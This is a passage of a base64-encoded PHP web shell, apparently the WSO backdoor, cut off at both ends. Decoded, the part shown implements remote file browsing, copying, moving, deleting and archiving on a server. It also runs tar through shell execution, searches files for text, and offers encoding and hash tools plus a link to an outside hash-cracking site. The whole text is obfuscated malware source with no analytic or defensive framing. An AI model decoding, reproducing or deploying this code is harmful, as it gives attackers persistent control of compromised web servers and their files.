Q0KCQkJCQkJY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsJCQkJCQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7DQoJCQkJCWZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQlAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd1bnppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIHdzb0V4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX1NFU1NJT05bJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQl1bnNldCgkX1NFU1NJT05bJ2YnXSk7DQoJCQkJYnJlYWs7DQoJCQlkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQkJCSRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOw0KCQkJCQkkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikNCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7DQoJCQkJCSRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJfQ0KCX0NCgkkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KCWlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgewllY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO3dzb0Zvb3RlcigpOyByZXR1cm47IH0NCglnbG9iYWwgJHNvcnQ7DQoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCgl9DQplY2hvICI8c2NyaXB0Pg0KCWZ1bmN0aW9uIHNhKCkgew0KCQlmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpDQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOw0KCX0NCjwvc2NyaXB0Pg0KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KCSRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KCWZvcigkaT0wOyRpPCRuOyRpKyspIHsNCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLA0KCQkJCQkgJ3Blcm1zJyA9PiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQ0KCQkJCQkpOw0KCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQoJCWVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7DQoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7DQoJfQ0KCSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsNCglmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7DQoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KCQkJcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCQllbHNlDQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCX0NCgl1c29ydCgkZmlsZXMsICJ3c29DbXAiKTsNCgl1c29ydCgkZGlycywgIndzb0NtcCIpOw0KCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KCSRsID0gMDsNCglmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KCQllY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0KCX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsNCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDsiOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pICYmICgoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgfHwgKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpKSkNCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOw0KCXdzb0Zvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCSRzdHJpbmdUb29scyA9IGFycmF5KA0KCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLA0KCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsDQoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLA0KCQknbWQ1IGhhc2gnID0+ICdtZDUnLA0KCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQzMyJyA9PiAnY3JjMzInLA0KCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywNCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsDQoJCSdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywNCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLA0KCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywNCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLA0KCQknU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCSdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCgkpOw0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkNCgkJCWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCgl3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsNCgl9DQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+DQoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPg0KCQkJPC90YWJsZT48L2Zvcm0+IjsNCg0KCWZ1bmN0aW9uIHdzb1JlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsNCgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQ0KCQkJJHBhdGguPScvJzsNCgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCWlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7DQoJCQlmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgew0KCQkJCWlmKEBpc19kaXIoJGl0ZW0pKXsNCgkJCQkJaWYoJHBhdGghPSRpdGVtKQ0KCQkJCQkJd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKQ0KCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKEAkX1BPU1RbJ3AzJ10pDQoJCXdzb1JlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFjay5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNv